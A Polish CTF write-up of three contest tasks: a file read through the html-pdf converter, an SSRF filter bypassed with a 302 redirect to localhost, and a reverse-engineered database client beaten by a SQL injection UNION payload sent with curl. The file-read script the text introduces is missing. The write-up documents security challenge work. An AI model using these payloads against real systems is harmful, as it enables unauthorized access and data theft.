Jakiś czas temu brałem udział w konkursie typu CTF organizowanym przez Agencje Wywiadu. Poniżej przedstawiam opis moich rozwiązań kilku ciekawszych zadań, które były dostępne na stronie konkursu.
Na specjalnie przygotowanej stronie dostępny mamy formularz gdzie możemy przekazać plik, który następnie zostanie umieszczony na serwerze. Oprócz tego mamy również dostęp do kodów źródłowych aplikacji.
Podstawowe informacje na temat używanych technologii znajdziemy w pliku 'Dockerfile' używanym do budowania obrazów kontenera Docker.
Tutaj widzimy, że używana jest technologia Flask jako framework aplikacji webowych gdzie plik główny zdefiniowany jest jako zmienna środowiskowa 'FLASK_APP'. Oprócz tego używane są różne biblioteki zawarte w pliku 'requirements.txt' oraz biblioteka 'html-pdf' napisana dla środowiska Node.JS.
Kilka wniosków po krótkim przenalizowaniu kodu źródłowego samej aplikacji:
Mamy zdefiniowanych kilka rozszerzeń plików, które akceptowane są przez serwer (.html, .txt, .md, .jpg, .png) oraz ciekawą funkcje o nazwie 'convert()', która konwertuje nasz plik z rozszerzeniem '.html' do pliku '.pdf' z wykorzystaniem biblioteki 'html-pdf'.
Po krótkiej analizie udało mi się znaleźć ciekawą informacje na temat błędu, który występował jakiś czas temu w tej bibliotece opisanym jako - 'Arbitrary File Read'
Skrypt, który odczytywał plik 'flag.txt' wyglądał następująco:
Po przekazaniu skryptu w formacie '.html' a następnie przekonwertowaniu pliku do postaci '.pdf' przy pomocy dostępnej na stronie funkcjonalności pozwoliło na odczytanie pliku 'flag.txt' gdzie zawarty był kod potrzebny do zdobycia punktów.
2. CheckMe
Po przeczytaniu krótkiego opisu i sprawdzeniu dostępnej strony dla tego zadania można było wywnioskować, że informacje potrzebne do ukończenia znajdują się na serwerze dostępnym tylko w intranecie. Formularz dostępny na stronie pozwalał na wprowadzenie dowolnego adresu URL, który identyfikował schemat typu HTTP lub HTTPS a następnie pobierał i wyświetlał zawartość tego zasobu.
Również tutaj dostępne są dla nas kody źródłowe aplikacji z których możemy się dowiedzieć dużo ciekawych informacji.
Na podstawie wyżej wymienionych plików możemy wywnioskować, że flaga potrzebna do ukończenia zadania znajduje się w pliku 'index.html' który znajduje się na serwerze WWW - nginx (start.sh) nasłuchującym tylko na lokalnym adresie - '127.0.0.1' i standardowym porcie '80' (default.conf).
Niestety wprowadzenie w formularzu adresu lokalnego nie jest możliwe gdyż otrzymujemy następujący komunikat - 'Our company network is restricted' co widać również w kodzie aplikacji.
Jednym ze sposób ominięcia tego typu zabezpieczenia jest możliwość wskazania serwera WWW, który serwować będzie nagłówek HTTP 302 dzięki czemu możemy przekierować żądanie na lokalny adres.
HTTP/1.1 302
Location: http://127.0.0.1
Możemy skorzystać w wyszukiwarki shodan żeby znaleźć serwer, który odpowiada w ten sposób lub skonfigurować nasz własny na publicznym adresie. Wskazanie w formularzu na specjalnie spreparowany serwer pozwoliło na odczytanie kolejnej flagi potrzebnej do ukończenia zadania.
3. DBClient
W tym zadaniu dostępny mamy tylko załącznik oraz krótki opis.
The application in the attachment had being used to connect to a company's database. After migrating to CloudFlare, the application was abandoned. Can you check if it's still usable?
Sprawdzamy jaki typ informacji jest zawarty w pobranym pliku.
~$ file dbclient
dbclient: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a23d41fc95ff311edd25fdbb90604df5103d8cd9, for GNU/Linux 3.2.0, stripped
Mamy tutaj plik typu ELF czyli format pliku wykonywalnego używanego na systemach Linux. Aplikacja przyjmuje dwa parametry 'username' oraz 'password' których nie znamy..
./dbclient
Usage: ./dbclient <username> <password>
Najprostszą metodą aby sprawdzić co robi program było użycie polecenia strace aby prześledzić wywołania systemowe oraz sygnały używane podczas działania aplikacji.
sendto(4, "1\263\1\0\0\1\0\0\0\0\0\0\16secretdatabase\16pleasehackthis\4site\0\0\1\0\1", 52, MSG_NOSIGNAL, NULL, 0) = 52
Widzimy tutaj wywołanie funkcji sendto, która służy do komunikacji przez gniazda strumieniowe lub połączone gniazda datagramowe. Aplikacja próbuje połączyć się z hostem 'secretdatabase.pleasehackthis.site' który nie zwraca żadnej odpowiedzi..
Kolejnym krokiem aby dowiedzieć się coś więcej na temat analizowanej aplikacji było wykorzystanie polecenia gcore, które służy do wykonywania zrzutu pamięci aplikacji.
~$ ./dbclient admin admin | gcore -a $(pidof dbclient)
0x00007f0980bf2461 in read () from /lib/x86_64-linux-gnu/libc.so.6
warning: target file /proc/17142/cmdline contained unexpected null characters
Saved corefile core.17142
[Inferior 1 (process 17142) detached]
Wygenerowany zrzut pamięci (core.17142) możemy teraz przeszukać pod kątem interesujących drukowalnych sekwencji znaków przy pomocy polecenia strings.
~$ strings core.17142 | grep GET
GET /login.php?u=%s&p=%s HTTP/1.0
Wykonanie zapytania HTTP z informacjami, które udało się wcześniej zdobyć zwróciło informacje na temat nieprawidłowego hasła dla użytkownika admin.
~$ curl "https://secretdatabase.pleasehackthis.site/login.php?u=admin&p=admin"
Wrong password for user admin!
Ostatecznym rozwiązaniem zadania było wykorzystanie metody SQL Injection z wykorzystaniem następującego payload:
admin' AND 1=2 union select 1,'admin','81dc9bdb52d04dc20036dbd8313ed055'-- x&p=1234
~$ curl "https://secretdatabase.pleasehackthis.site/login.php?u=admin%27%20AND%201=2%20union%20select%201,%27admin%27,%2781dc9bdb52d04dc20036dbd8313ed055%27--%20x&p=1234"
Welcome admin! You have one message: CTF{0l0f4rt9p4yb4ck}